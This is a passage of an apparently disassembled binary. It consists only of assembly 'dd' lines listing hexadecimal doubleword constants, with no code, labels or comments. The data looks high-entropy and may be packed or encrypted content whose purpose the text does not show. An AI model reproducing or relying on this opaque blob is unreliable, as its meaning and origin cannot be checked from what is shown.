		dd 0ABD6B400h, 0DE16FC7Ah, 8AB80F34h, 2420579Ch, 70F04DD2h
		dd 82525904h, 88D0C47Ch, 2EBFD46Eh, 0B222A93h, 330360B4h
		dd 0B3CFE0C7h, 1DC0734Ah, 9CE668CEh, 0A2724D00h, 0FDFED02Fh
		dd 7A550093h, 82D4147Eh, 5C789B80h, 0DE5F7D00h,	7381E413h
		dd 683760E0h, 57A3D6ECh, 863E1C73h, 9831EB7h, 790C014h
		dd 58D481CBh, 2898EC86h, 2E1CF9D3h, 0E818EB2h, 118EC6BDh
		dd 0A1D4BF82h, 0A0CA108Eh, 0C8D5001Ch, 0D0CB4F50h, 0EA0349E8h
		dd 0E4D3CC46h, 0A859F009h, 0F71F0074h, 0C4BD2882h, 9B003E30h
		dd 69F9D4B7h, 0E32A3A9h, 61BF58D5h, 8A546880h, 503878Eh
		dd 479E8013h, 8777E2C0h, 0A02E8438h, 63B752A9h,	0CF9700EAh
		dd 2ACD3330h, 0E1009A3Ch, 0FF1805C3h, 266B72Dh,	0B9BD1BB6h
		dd 8C98ABD4h, 4503575Ah, 58BE1738h, 6284A060h, 55D09092h
		dd 72CCD4E1h, 3F30DE37h, 88C1A78Eh, 0ADA8A360h,	0C056203h
		dd 2078D8Bh, 220EC700h,	930DECh, 1718321Ch, 853D4BEEh
		dd 9BE56E01h, 1B82368Eh, 0D321C8FBh, 5837F2F2h,	6A00199Ch
		dd 0CC63B090h, 1E009381h, 0FA4E538h, 0E8D00E5Fh, 544C0016h
		dd 0D73B036Bh, 8C1B6DC7h, 0E8A9EBCEh, 0F580DBCh, 0E804FCD0h
		dd 0B9A2E686h, 0AB21B00h, 8CB37AFh, 66D3E850h, 21450820h
		dd 0AF109100h, 0D1F62E84h, 194A60A2h, 0C5B6CC0h, 42BF2907h
		dd 72A09F7Ch, 0E6CFD844h, 485518C3h, 8D9C811Fh,	2E385360h
		dd 2CB2EF47h, 15813Dh, 0F8156AC2h, 602C16D9h, 0C5188A0Dh
		dd 0E81DECB9h, 56E33085h, 113C0B11h, 0AEBD0E12h, 0F7D45806h
		dd 21CD6008h, 91133F2h,	6EEA9500h, 0CCF9D5BFh, 1EA13047h
		dd 0A055AA58h, 3E84D852h, 0F02C381h, 70CB3CAFh,	94107E31h
		dd 4C03AF75h, 6ACF51D2h, 9C84C126h, 905880FAh, 1F08BFBCh
		dd 4E3629D0h, 48A3B158h, 580C3204h, 8906D9B7h, 0DDE420F5h
		dd 0CD36C97Ch, 0E4F01874h, 2593050h, 6A5ABE10h,	8264F100h
		dd 2F24EE42h, 3C26F632h, 8107F984h, 60AE8396h, 0A7D9EC4Eh
		dd 3A928800h, 0E1357E89h, 0E8EA0028h, 0AC78725Ch, 41482CFBh
		dd 8B3A2C4Dh, 54405507h, 60AD7D60h, 0A2F895EDh,	5F1D6500h
		dd 8930E267h, 904703E6h, 21D68F93h, 54B05CE8h, 28EF8607h
		dd 0C6D06A7Bh, 7B519971h, 443A3CA6h, 0DB20DA80h, 0BBACB7DCh
		dd 34D85F07h, 0E600184Fh, 897864h, 0DAC99FF1h, 0F362778Ah
		dd 4F073800h, 0C1ABF72Eh, 138000AAh, 8B30ACE8h,	0B3E3C46h
		dd 6D4500DAh, 72BA3EA2h, 8A6F0E92h, 0FC60BEABh,	0D14E309h
		dd 0B4502201h, 3ED17CE6h, 71B2C1D4h, 570E090h, 0E9603C77h
		dd 2C4380F4h, 0AD00ECA3h, 7DFE89DCh, 1A8BC71h, 54D9ABC5h
		dd 0C022D3A7h, 8F07B6B1h, 0D63A0B4Fh, 80F27323h, 1625FEEAh
		dd 149BB43Dh, 83386545h, 0DF0FA43Bh, 13006DD2h,	148F12A3h
		dd 874A3Eh, 0C6A4615Bh,	5E3830h, 0C72A76E9h, 0F7EA8B82h
		dd 740ED801h, 0DAE7716Eh, 37EF920h, 0B7EDE099h,	13EB64C1h
		dd 0BC703Dh, 0D7CA4BD8h, 0E48F23CFh, 5F9D0796h,	139A70D2h
		dd 0BBE061E6h, 0F500EDC9h, 8AE7E3EEh, 487C718Dh, 0DA0100FEh
		dd 28D5AA75h, 0D85CE10Ah, 0D7069DF9h, 12FD6634h, 31410768h
		dd 0B0AB630Fh, 6AA38368h, 1A653C00h, 0D83DA1F3h, 86E30091h
		dd 88A21237h, 1D016E48h, 4FD3329Ah, 0F761117Dh,	7B99F0h
		dd 2C5D771Ah, 4936C894h, 7609042Eh, 5FC0CC02h, 0BCD8C0EDh
		dd 0F8AC00E1h, 0E280D53Fh, 0DCB42DDEh, 345BB400h, 696D18h
		dd 271F0608h, 0BCA81691h, 52FF0117h, 74811100h,	0FCE09FCAh
		dd 0C83C00EFh, 5FA443A3h, 1F07C4AEh, 5A5514C5h,	326FE01Fh
		dd 0AB09407h, 1B73A831h, 0ABD1009Ch, 2A6E2D4Eh,	6FF7C14h
		dd 25831E84h, 0DE937B4Eh, 9F8A3A80h, 0A8C20F7h,	38AAA174h
		dd 73FD00A8h, 3035264Ch
		dd 51B4E800h, 0DB2347EFh, 0A1D100AEh, 0B6E72A48h, 9200031Ch
		dd 7B12663Eh, 5AF0BAh, 0BE7251CDh, 249AAAB0h, 0B50B4805h
		dd 0E840E0F4h, 39D70DE5h, 559418EEh, 8DCCD65Dh,	0C3600900h
		dd 0BA46ED59h, 0C76D00D9h, 39157623h, 8107B8E6h, 0C5DB02D0h
		dd 6819E480h, 69B101A0h, 4934EB7Bh, 0FA5BE46Eh,	33508700h
		dd 4191718Eh, 0C6D0C02Dh, 0D8E8A87Ch, 0A4C7C824h, 245EDD00h
		dd 0F3051Eh, 0E906036Fh, 5BA13595h, 680D1600h, 0F585CEB5h
		dd 9E481D9Ah, 47458041h, 0AD24E33Ah, 0D7010490h, 8BEB2C02h
		dd 34248491h, 1876E0E4h, 1011B8B3h, 0A9021FCEh,	0A6ADAE5Ch
		dd 0F35C408Ch, 0AA888BFDh, 0D4783062h, 269AE400h, 0A759615Dh
		dd 77527CDDh, 691E01B2h, 2291EB23h, 9E4C20F7h, 6CB81F03h
		dd 986FB6FFh, 78269Fh, 0ED9C65A8h, 3BDA98A1h, 4E31AC07h
		dd 0F6B64BE6h, 0D40F0038h, 0AEA7FC6Dh, 0A600E4ABh, 8AFE2DB7h
		dd 334A171h, 1AA9655h, 0E0C76B6Ah, 425D3C84h, 17A7D41Ch
		dd 4E2BCC80h, 7191AF0h,	0E5F810C9h, 60C2040h, 3100C4A5h
		dd 5C0238DEh, 0E25491D2h, 0BB621D4Ch, 0DF4E0959h, 0B617890h
		dd 7CDC003h, 0BFDB10D6h, 2C03BB9h, 2CF1BD41h, 34607052h
		dd 802C083Ah, 0C70021C8h, 61257239h, 0AF6700A1h, 0AC0E5E8Fh
		dd 0D7739B47h, 16DF7600h, 3D9E68F1h, 1DCFFC58h,	66E77431h
		dd 1D02033Dh, 68D0AD97h, 2F1F3A09h, 0EA641880h,	23C59204h
		dd 3E4C84C0h, 0FCCE035Dh, 0BBF5BF66h, 0A0988DB8h, 0E02E4228h
		dd 0AFE48h, 909A4EC6h, 0FA1621Fh, 1595B2CCh, 6A6C6820h
		dd 0D207BF37h, 61676F72h, 6BE504C2h, 6D59C984h,	0F11A24F4h
		dd 81A6ECh, 0E6BB6590h,	0D50E6C0Ch, 910D130Fh, 667EE04Ah
		dd 439DC9h, 41C16501h, 0AE33FF7h, 741CB09Ah, 0B6825FE6h
		dd 63D866AAh, 400CAA38h, 7BA44h, 5CEE40EFh, 0DAE9E41h
		dd 421BAB00h, 91423C6h,	8CF8481Ah, 24AD6802h, 28C0B677h
		dd 0A1F963Ch, 0EC1A76Ch, 4882D04Dh, 9A99F8h, 1FF2D760h
		dd 2ED6098Ch, 3540D90Fh, 83422033h, 3316656h, 749CBF71h
		dd 50769908h, 0B3B19D09h, 0C7CC2222h, 57A0A046h, 1DC393E8h
		dd 35CEA5Fh, 5ECE7D0Ch,	40B03F81h, 8953A2ACh, 0C1760800h
		dd 48913675h, 43C209E2h, 0E703268Bh, 0D0C8C07Dh, 970F8389h
		dd 0C411CA18h, 1481C853h, 0C840C526h, 0BF6407h,	0EB0EF195h
		dd 16574D4Ch, 3435D100h, 0C306B396h, 325000FDh,	1A2DBBD6h
		dd 0A70210C8h, 55F1B2BDh, 2714E07Bh, 0FCA900E3h, 40AE1E6Bh
		dd 991C6FD0h, 2040CC8Ch, 16844752h, 0C218C041h,	263EB93Ch
		dd 0B7E99D0Eh, 0BCC1BEE1h, 6787DDECh, 1D34C9D0h, 4F39A4BAh
		dd 85A74677h, 59E52006h, 5100786Fh, 87382A1h, 48138140h
		dd 0CD0390A0h, 75E4EEA9h, 0FB5114Ch, 20F59965h,	4A56749Bh
		dd 0AD5C0953h, 28002752h, 82E92C7Ah, 0D070BFh, 6E3DB90Dh
		dd 2A4523BDh, 0E24D6507h, 3FB09B3Ah, 118A5A1h, 99D6919Ch
		dd 0C42149C3h, 830641D4h, 15690ADFh, 0C0FE03E8h, 63536879h
		dd 0DC37BBD8h, 0B74B5800h, 74D43AA4h, 0DE280043h, 0F30FC6Ch
		dd 809ADC15h, 0FFBD8500h, 38E2254Bh, 0B49900CDh, 0DA266FB0h
		dd 0B800D531h, 2453EB5Ch, 0BEEA7C8h, 0FB23B458h, 7AA3BF81h
		dd 0FAC6F842h, 6CC1D701h, 7EEEB2A8h, 0E60E2C20h, 0A3B10A2Ch
		dd 3A0840B5h, 0C0346682h, 0C068F9D1h, 0CD011C78h, 0F4489091h
		dd 0C7D0F897h, 21FA6036h, 9A2DD10Eh, 86E76D00h,	0F4100F14h
		dd 0F829E04Eh, 0B23A745Eh, 0C9B41798h, 0D8480E06h, 81339A80h
		dd 28C00112h, 0DD8A6642h, 0C13CA3D3h, 0DC24CD6Ah, 9A75384Eh
		dd 6ED61Dh, 0F89EC207h,	642E5C35h, 30068DFh, 8EA8AE7Bh
		dd 5F7C0FA3h, 6180C2DDh, 0BBE5DB12h, 3D0BF124h,	0B5E44F1Fh
		dd 445F2400h, 7738A3h, 4EDC6D5Ch, 0F7605B48h, 31F4C903h
		dd 0CFFF1D16h, 19525770h, 0FCB73E6Dh, 55A7F703h, 0A3A03B4Ah
		dd 0C50065BAh, 30AF6A52h, 13AE0Bh, 0C1C7878Dh, 2BF1C7Fh
		dd 1D01FCE2h, 78F3A172h, 4CF0C3E6h, 0B9850099h,	6C4163CEh
		dd 0B800E1C7h, 0BBE2E0CCh, 765E31Bh, 0DB5B2D26h, 17BAD1A5h
		dd 0FA35F809h, 520558FCh, 13C036A6h, 0A5EBA800h, 0D9295Ah
		dd 0B031ED38h, 0AC1ED78Ch, 8FA3B00h, 1C0196B9h,	9529008Dh
		dd 0BB580FD0h, 0D8717415h, 3F82E300h, 0F61A2B53h, 0CF749Eh
		dd 54985E8Ah, 4C277A45h, 2D3DB48h, 0BA47B0C7h, 0E754E8F1h
		dd 3DB5F603h, 0C00088C9h, 15C3A158h, 8EC128AAh,	5C31C509h
		dd 3477024h, 0E505F60Eh, 60B8C64Fh, 4E3DDE1Fh, 0E98E80C4h
		dd 0AE7216C8h, 85C204E7h, 0C00DAA27h, 0C1FD78B8h, 0B1385C00h
		dd 0C3A51CFFh, 2A8300D4h, 0B82F2448h, 185CDBA9h, 21D51770h
		dd 0C629C200h, 8FB554h,	0D75CD47Ah, 97EB6025h, 9B3FAA00h
		dd 0A1534964h, 0A3FD078Dh, 41353057h, 2AE3A2EFh, 0E4223B00h
		dd 994210h, 0B9A91EABh,	776C0469h, 0F48E5900h, 646002ECh
		dd 2E88E61Ch, 920A8D2h,	7F9A4Fh, 0E98D7969h, 0ACC2188Eh
		dd 0A6FDC8C6h, 0C163BF05h, 93C2FE03h, 0E0704BC3h, 0BDECBBh
		dd 117E6CAFh, 0D4FAE70Dh, 0A0330B00h, 4617FFCBh, 0EB0F0167h
		dd 9A2BEC39h, 2F01E4C1h, 0D888FC13h, 80A910h, 0A7357B08h
		dd 19D52AE6h, 188D169Bh, 0D0F9C051h, 9921548h, 24E6CE71h
		dd 0CB34FB4h, 8BC0B401h, 0C4B248B9h, 0F4A06D99h, 7425114Fh
		dd 1B488017h, 96A90h, 0E5DC9267h, 5F78A538h, 820057E2h
		dd 0CB434A01h, 161B0EC9h, 7E0A2Dh, 54BFEB4h, 8FEB65F9h
		dd 0C0C591DCh, 2CE1949h, 0BF8CF79h, 0CC9D9B00h,	5600ECACh
		dd 71D82B63h, 887905h, 189A9050h, 1251E347h, 0EC1A4500h
		dd 38E83286h, 0FCEF00BAh, 5ECBC789h, 0C6009520h, 2F1728B5h
		dd 1FA61E6Dh, 0DD382550h, 98E289DFh, 36FD880h, 7E006755h
		dd 0FFFBF1A4h, 0F2040C3Ah, 0F00209ADh, 90A0B227h, 1921E0FDh
		dd 0A775E700h, 99103593h, 8225017Ch, 0F72C39FBh, 0D69EE083h
		dd 0CAC2F150h, 0ADF5897h, 0CF66557Eh, 0EB9200C4h, 83FA3F26h
		dd 0A0D27100h, 545AAAFFh, 7B600296h, 2AF32243h,	0D7A0AD43h
		dd 0BA00D6DFh, 916BB1BCh, 3FE0303Ch, 6A01C184h,	9FA60C2h
		dd 13B034DCh, 0A6404896h, 70FCF53h, 8CC797ECh, 446EE1ABh
		dd 7ACBE87Ch, 0A9EE9615h, 69E212FCh, 47DE840h, 549AD1Ah
		dd 9E82C70Bh, 0C84493DFh, 174BB0F0h, 23A13Eh, 0D1802463h
		dd 0F499ABDh, 22780CACh, 0C0E78EE5h, 28B130CCh,	980096F6h
		dd 1C0D319Ah, 18184FDEh, 19F2B346h, 0FD073226h,	0D916FA81h
		dd 0C221F440h, 4A730723h, 27E2D7BBh, 78C3B0AEh,	75007757h
		dd 0E520955Fh, 4F08F9A6h, 483C03BEh, 0B3C0440Ah, 0E4E2F81Eh
		dd 56F4A600h, 8C2CD49Eh, 70CC5C25h, 176A958h, 0EE42B8F5h
		dd 0D46A6365h, 0F067BA7h, 0CD534851h, 16EEC28h,	0B050177Ch
		dd 0F46BA354h, 0FF01D7B8h, 0EF4439C5h, 93C4DE57h, 0A7C24CE1h
		dd 0C61DE84Ch, 5F7E1F30h, 1670C3F4h, 42A105E7h,	34AC40E4h
		dd 7700E314h, 0F39F07FEh, 5D028A75h, 7800F4F7h,	0BD5064ADh
		dd 3398B3CFh, 9DF41900h, 43F24FA2h, 0BC8C25D2h,	0EA0DA000h
		dd 811F3F3Ah, 0F8051B6h, 0A6C3272Fh, 0A7C21982h, 0D4AB1880h
		dd 0BCF2EE97h, 43483C03h, 0C0C5933Bh, 5D2DECh, 0C705762Eh
		dd 31771F96h, 1A650400h, 0DA5BF949h, 0A0C90168h, 7A97FC47h
		dd 0DD57ECBAh, 0AD657600h, 93A85160h, 0BDC43B3Fh, 60C4002h
		dd 6868E1C9h, 81005AD6h
		dd 0E7F083AAh, 2E6A8F5Eh, 3FDBF9B3h, 176C1D00h,	0A313A67Dh
		dd 743D863Dh, 0E3284E03h, 1CA54A6Eh, 80F4BE18h,	81189397h
		dd 6602B20Fh, 0A045E03Dh, 15C540EFh, 436000E7h,	1320EC84h
		dd 0B002697h, 2814AC4Dh, 350D18Bh, 80376A8Eh, 201E49F3h
		dd 0E1C0BA04h, 38F2BC3Eh, 7A460CB4h, 0AC58CAE9h, 9391A712h
		dd 7C703500h, 8E7F24h, 0ABEB4C9Fh, 3C845549h, 0F7A8D00h
		dd 0C96FD190h, 96F699h,	7E7C234Dh, 0BF58D95Bh, 0E7D7AF00h
		dd 344CB3C6h, 0A01E3D98h, 2024D200h, 674B5BEBh,	0F40EE3EAh
		dd 6EC8EC95h, 40DA0DFh,	0CA9BB9h, 2BE6CD99h, 5B2FF4CEh
		dd 0C6FD8E05h, 1C08927h, 80FE70h, 37233DE6h, 7A625926h
		dd 0A61DC83Fh, 3F008D4Ch, 38AD42B3h, 0B2030491h, 0C06B55ECh
		dd 0A777F3BDh, 9D3D4A03h, 0B8D807F4h, 3B0938Eh,	56DC6A1Bh
		dd 0D1A055F9h, 5B5E7719h, 4200B3F8h, 3A88CEBBh,	44E66F89h
		dd 0FA7ABF00h, 338C2002h, 46A60074h, 6D2CD535h,	3EF01093h
		dd 0E1287960h, 0ABC6EAh, 2C06E7CFh, 5A6C1AFFh, 3E3F5900h
		dd 92148091h, 0BB0D0084h, 23C3FA8Eh, 0D00035FEh, 6E651A3Fh
		dd 36B0B93h, 1D6C9540h,	8F36D5h, 914F0F4Ah, 416EA1Dh, 0EDAEDB80h
		dd 10AF2ACh, 4D2AE836h,	0E49FFFD3h, 1F717E5Eh, 990B4800h
		dd 7B2D4C8Bh, 0C7BB00B7h, 757AE152h, 0A900C4BEh, 0DC2C1679h
		dd 0E7667Fh, 3BBABBEAh,	9BEC668h, 804A1800h, 0EF2658A7h
		dd 0B91F036Bh, 90E5EE31h, 116713C0h, 9C925D03h,	0F015E189h
		dd 0F93D77h, 7ABDA1E4h,	0F8C72365h, 0BCAEF71Dh,	54D2AA80h
		dd 0BBEF43h, 6167E7B2h,	3884785Eh, 0EB0AF018h, 0BC6618h
		dd 0CF02F9A7h, 827FCAFFh, 0B5179B0h, 0D204DA10h, 5628FC0Ch
		dd 701845E8h, 6BC9B778h, 6134A05Eh, 3DF3EEB1h, 0F6805167h
		dd 0C0B7C802h, 1400F12Fh, 9E38E25Dh, 23BE1A5h, 6A5679EBh
		dd 0EA60912Ch, 0A60708B1h, 0D673FCF2h, 2878E6D6h, 1558F738h
		dd 68616CDFh, 0A5226206h, 690528E5h, 7B7044FCh,	243D4C00h
		dd 722EFh, 9FC1D72Bh, 9EC3DE2Ah, 0B9AE8818h, 1826EA48h
		dd 0B9620AFEh, 9B3EF287h, 7850006Fh, 38FF72BBh,	103B010Dh
		dd 0A054BDBCh, 0C5E470F4h, 0E9E07800h, 4683F83Ah, 0B568002Bh
		dd 0F48D0AE3h, 8E00D147h, 0F6BAE852h, 0C344A0h,	0D3CFA850h
		dd 62EA23C5h, 0F3A23A00h, 0FF6F4135h, 1F2A7A06h, 7FB707h
		dd 82FD2E4Dh, 0C51FD536h, 4E403549h, 720C0E54h,	87D900A8h
		dd 39F7E99Bh, 5FC84B5h,	0D4DA1E00h, 23E14686h, 776C008Bh
		dd 66B37A13h, 0FA063B06h, 98E33571h, 0F90D0050h, 82CED2ABh
		dd 0EF0EE0D3h, 3DF024F5h, 2034B60Ch, 0CF0B3865h, 0C674D107h
		dd 765F405Ah, 404CA7B3h, 4C3E18h, 3B129F10h, 60877BD4h
		dd 0D3F1824h, 70C8F90Ch, 0CF07C0DEh, 0F846D387h, 64709F22h
		dd 0AA2BCF00h, 5CDE6A86h, 5E3300DDh, 12D463FDh,	8D184596h
		dd 98504B2Fh, 5459C04Eh, 1B23F207h, 1E94E703h, 0F0DB508Fh
		dd 6DC4BBE6h, 8128A0D6h, 5AA01738h, 1180105Dh, 0C8981EDh
		dd 87193C75h, 0A4098E30h, 704D2180h, 0E56A6C89h, 0E603C67Bh
		dd 133410FAh, 0BD6B871h, 31F23086h, 0B5481561h,	47B86101h
		dd 4FAFA71Ch, 21400898h, 0B57DDFF2h, 0A58CDA0Fh, 0CBAB61D7h
		dd 9C41433Bh, 0FCC0AC52h, 0A89FF313h, 38D88CBDh, 60397810h
		dd 590600F1h, 0F039499Ch, 4A15002Eh, 98DCED51h,	0EE0576BAh
		dd 961E9A84h, 5953C0EAh, 0FF00AE99h, 0F99F7DB4h, 0F66D3Ah
		dd 26D5D88Ah, 75A05AD7h, 0B8401705h, 84C5F2CDh,	853D5080h
		dd 52240021h, 0B6787EE5h, 1907BE9Bh, 0AF08B87Bh, 0A9C77205h
		dd 22F862B0h, 780A0035h, 0C8CB8C7Eh, 0C17EAF73h, 54E8F100h
		dd 46EDCC87h, 0B9D013Eh, 0B736D825h, 31D4C4A5h,	47095Ch
		dd 67604ADh, 0F80357h, 29949C02h, 97E20135h, 0AF7CC100h
		dd 75F16E44h, 61D43DB0h, 14603101h, 0C8855F2Eh,	9200864Dh
		dd 76936CB8h, 12D847h, 0E81EBE8Bh, 78A64823h, 5254AC01h
		dd 0DC47CF1Dh, 0DE67CCh, 0B8B7E82h, 0ECA7E457h,	66DF3003h
		dd 0A8A3BBEEh, 7FD6C2Fh, 710C3208h, 6DEFDF01h, 155BD700h
		dd 0AD004B67h, 0CBAA6A14h, 7A6C9FF6h, 23B40035h, 72503D8Ch
		dd 700039A4h, 0C3B9E174h, 7A9F763h, 83461257h, 0F022A02Fh
		dd 7C00C46Fh, 90A7E15Eh, 1FC320FAh, 40B64995h, 0D5CB563Bh
		dd 0C148E9AEh, 2353164Dh, 4A41DB00h, 0EC804870h, 469B0062h
		dd 7167AC3Dh, 0A70016E9h, 8BAAB2A9h, 5E95B1h, 859C4B2Ah
		dd 32090BD7h, 11DB38h, 6AD0CCCAh, 9377B6h, 0E296BC7Bh
		dd 0F572ACB4h, 0C0F27303h, 0F87CEA97h, 0FE660219h, 59EF193Ch
		dd 0DC273079h, 0BF7680EEh, 9577A700h, 56DDAE55h, 68543914h
		dd 1E92B880h, 0D063E6EFh, 0E778E200h, 0F8FCC94Ch, 18C4A4C5h
		dd 389D5695h, 59730913h, 1FF1B701h, 1BC40EFh, 0AFD63080h
		dd 8CE08F6Dh, 0B311C700h, 66EB2861h, 8D2000Ah, 5F05D3C8h
		dd 6305B34h, 82B3A02Fh,	0B0AA00F0h, 5C898AB6h, 0A003E310h
		dd 5F173C78h, 0DB0AE097h, 92030022h, 4A234195h,	0A0004E38h
		dd 0B9A6BFB1h, 1D11674h, 6094D067h, 40ECBD54h, 388E8190h
		dd 833C0300h, 59E3991Eh, 0BDEA0Ch, 445FF44Bh, 0C4DE91C9h
		dd 7700E8B8h, 0DAF2F56Dh, 1764A3h, 9FBB2208h, 45FF7682h
		dd 66543C00h, 1E31F346h, 0A3410574h, 0C01CD678h, 3D614E11h
		dd 0F9F7571Dh, 0F249C240h, 0B0152DA8h, 50E20E8Fh, 0E02020F3h
		dd 22FD042Fh, 0DE459F04h, 0A880FE5Ah, 0D08352h,	6AD74DF9h
		dd 27E3CA94h, 0BC43F600h, 52FC0B8Fh, 0E1033D65h, 4ED07B80h
		dd 9056C9EFh, 0C1CB1800h, 632FB12Ch, 0B9E000A3h, 4AB422C5h
		dd 7B126265h, 505FC2DAh, 693055C7h, 26B2F8F7h, 99481B8h
		dd 0A040D098h, 0E95096h, 0F4C3D43Ch, 9D0D54A3h,	0B3BAFF01h
		dd 0C8B6E1F9h, 0C00C20h, 0B2D0D747h, 0DDC48D05h, 19C57C00h
		dd 2AF013C7h, 73CC3CF5h, 5B299E00h, 0E402BE8h, 3A2020EFh
		dd 198F863Ah, 293E780Bh, 0D782DCh, 0A8D21897h, 339EF166h
		dd 0FCAD4E0Ch, 7CB8D0DAh, 46CE393Fh, 0C661EA00h, 57C70479h
		dd 3B9CDCA0h, 459E0C00h, 1C074DEBh, 94AF0C61h, 91B1FE84h
		dd 0D3A04700h, 6555DB5Bh, 0A64A0792h, 0D0962806h, 51759A20h
		dd 0A5DC9000h, 53E31D01h, 0DF320074h, 89E06899h, 0BD134A5Dh
		dd 140006DBh, 3241085Fh, 0A31C0A52h, 0A4CB17h, 7D0C7FA8h
		dd 190111E7h, 3A95468Eh, 0DC3084C2h, 0EBB8005Ah, 450F178Bh
		dd 9407D206h, 21E254B2h, 9333DA10h, 0C7B066h, 6053A2ABh
		dd 0E934F212h, 2D78BFh,	4C8C889Fh, 656B5148h, 0C2095A72h
		dd 8720A437h, 26B08AC6h, 8242C7h, 300E4E01h, 6CEC641Eh
		dd 996AF309h, 0E7E3009Ch, 0AFD96Fh, 0EE68BA88h,	0FE141024h
		dd 1DE8C607h, 90F06EE5h, 9A05DBh, 497FF4A4h, 0FD5A642Bh
		dd 23BD5B03h, 0F0387607h, 0F3D617h, 0B87A969h, 743EAEA7h
		dd 4FC6DC00h, 1B13FBD5h, 98BE01B6h, 0F0E530EDh,	8046DDA0h
		dd 25949A88h, 7AE128D1h, 0D76300B8h, 0C4B33459h, 0EA00F631h
		dd 0C783E78Ah, 0FC0C8621h, 37670974h, 98003962h, 8410C5C9h
		dd 53F10A2Eh, 0D726C020h, 6200C0BDh, 96DB5A8Ah,	3D03008Dh
		dd 65E7959Bh, 5E0C3115h, 5C21764Fh, 0D6A801F1h,	7F2A6EEFh
		dd 1CDCC4A9h, 628B3600h, 992CBE5h, 6B5700D1h, 0CA035990h
		dd 4E06C40Fh, 0FC8F2BB9h, 43E918B0h, 101890F7h,	9F9538h
		dd 6CC5F19Ah
		dd 4C1F0536h, 9D007478h, 0E983EA58h, 0E09A98D3h, 85E17A04h
		dd 0C490347Fh, 182CD545h, 10B771A8h, 0A000A2C5h, 401FD212h
		dd 2FB011h, 18CDFFD0h, 1E43C68Fh, 290D648h, 2E9199B1h
		dd 0BADC6813h, 4B5C001Bh, 60EB19A7h, 0D07C9A94h, 4AF68000h
		dd 0E1F014C6h, 548500B1h, 0BB907E43h, 30058BB9h, 0E659FF3Eh
		dd 2E6E9430h, 2A07287Dh, 0D0C500A4h, 29D75FA1h,	0C002254h
		dd 89BFCDB4h, 36975C2h,	10CA4A20h, 302C2B0Dh, 9E0791D1h
		dd 0D2B0F5F1h, 1DE1E9h,	0EB98D36h, 58013180h, 6DECAA0Bh
		dd 60C80E4Ah, 980B06B8h, 3E9091h, 841562Dh, 0DB6001B1h
		dd 84A1E607h, 1B335ED4h, 0C6B4885Ah, 0E86C014Dh, 727EA971h
		dd 8849F08Bh, 83B78D00h, 73628E5h, 8CEB53B1h, 62A44E07h
		dd 7F8822D1h, 52B0A840h, 4ACA2800h, 0C7DC8324h,	7FC7BCCh
		dd 2B74B530h, 809DA0AFh, 69018E92h, 3F234BBh, 0DE700D0Bh
		dd 0BEE260E4h, 0D97A1AC5h, 7395EA3Dh, 7701DE76h, 395DE175h
		dd 0B9F9506Ah, 2B5AFCh,	0AFEC9CBh, 29515FA0h, 94DA8203h
		dd 0F00D4A8Ah, 50FC7F4h, 7DBA586Dh, 69DCC116h, 0DFA8C745h
		dd 0CBA06FCFh, 978EA20h, 10002578h, 83ED6C4Bh, 0F09314E2h
		dd 15940063h, 0A011E182h, 9E004D0Eh, 19D96223h,	1259E2C8h
		dd 6D479Ah, 6EE1C0DBh, 570F5261h, 0AC6B3CA7h, 1D046026h
		dd 30ED60F9h, 1100370h,	0A8F59901h, 0AA9FB7FEh,	98231880h
		dd 0BEA6B806h, 0D011CFh, 62A77646h, 43BC00E7h, 8D09C6E0h
		dd 0AD0E4159h, 81195149h, 15D16989h, 0F75930h, 366F6317h
		dd 0C3EDFA6Bh, 0F67CC500h, 9DA8D594h, 27E0F55Bh, 4E901B6h
		dd 4CCE1BA7h, 1FA98032h, 2942308h, 0A8DE0721h, 0AA2D9F01h
		dd 16038094h, 6687B7FCh, 59431C0Eh, 34152007h, 7CD9061h
		dd 692BD3CCh, 9DF70060h, 0CEB00A44h, 0B0F63F01h, 216B07F3h
		dd 139D7E8h, 9A6ACA57h,	6065C3C7h, 407C012h, 11ED3E1Ah
		dd 0C2FCE8D0h, 0A00B1D94h, 89F380A9h, 0DB36AE74h, 4400C1E6h
		dd 14C7DAEEh, 3C428BCAh, 529FA2ECh, 0D42DC0DDh,	0F7898F47h
		dd 9B038DF0h, 0BF9D4C35h, 85B2EA6Bh, 48801AD0h,	3AC9F2BBh
		dd 0DD0EA414h, 0FB005FBCh, 0CC8B3027h, 1A315500h, 70AF19D1h
		dd 87FD3CEBh, 69AD1Dh, 248AD6EDh, 1B00C527h, 4656662h
		dd 0BCEED4h, 0C3BBB315h, 26972C53h, 0D8369D00h,	0AE2A82F3h
		dd 3C9141h, 0B75CF8A4h,	0FB0CF621h, 8E689EDh, 0CA21C0B1h
		dd 0B4465CF0h, 0DB00B57Eh, 826AA71Ch, 19F29Ch, 0D00B1D2Dh
		dd 8D8E9E61h, 349FE8A0h, 6E63CA00h, 771D2CF9h, 5120D8F6h
		dd 1F1FC804h, 1170FCB9h, 128A50Ah, 0CDA3A76Fh, 98DB9F08h
		dd 0DD213808h, 792800ACh, 0D394655h, 0C302CE8Fh, 226A321h
		dd 14B8605Dh, 0F977364Dh, 0BF466068h, 6528A302h, 3731B3A7h
		dd 28AAEB10h, 58BFDA70h, 0BA720070h, 21172557h,	3450797Fh
		dd 0A1007E9Ch, 0AB1F3EC8h, 485CCF9Ah, 328602Ch,	10A260E0h
		dd 56FF2995h, 0E8A058h,	570A0DA6h, 0F46225A1h, 0CAF60028h
		dd 0F16C3EE5h, 0E224D533h, 0E0015ACh, 0A77E9367h, 54EA003Ah
		dd 7C1E0350h, 1000EC24h, 7DB30D48h, 413BD7h, 0C58F5AAEh
		dd 122AC618h, 0DC779D00h, 54F034A0h, 32D9011Eh,	0C1ACA6C7h
		dd 36493059h, 97DFBA0Eh, 8F88C0C8h, 1F81750Bh, 0B9C031h
		dd 0E11DD0BDh, 833E2F0Dh, 24BB8059h, 0FA6F78F5h, 0BD7500C7h
		dd 0ACB3F43Eh, 42006C45h, 0B5A2CB25h, 186E549Ah, 28FB0102h
		dd 8200A947h, 9C3DE715h, 24E07FE3h, 367B8Fh, 9E793453h
		dd 18035CEEh, 0D0DB09C8h, 538008Eh, 748D0F40h, 52E89CB7h
		dd 3868A800h, 0BFA0C925h, 784A00B4h, 4155A4C2h,	6048F7CEh
		dd 320075BAh, 0BC46100Ah, 0B62F84h, 97DBD1E8h, 0DD60C2D8h
		dd 0D97E6403h, 0D00D7386h, 1C687B7Ch, 4059FA4Bh, 2F056933h
		dd 0B0F22071h, 2BB4FD00h, 0CE9BF79h, 0D90B03ACh, 0D0FB1406h
		dd 80F75838h, 36903411h, 54B72E32h, 0C2190BAh, 61628F4Bh
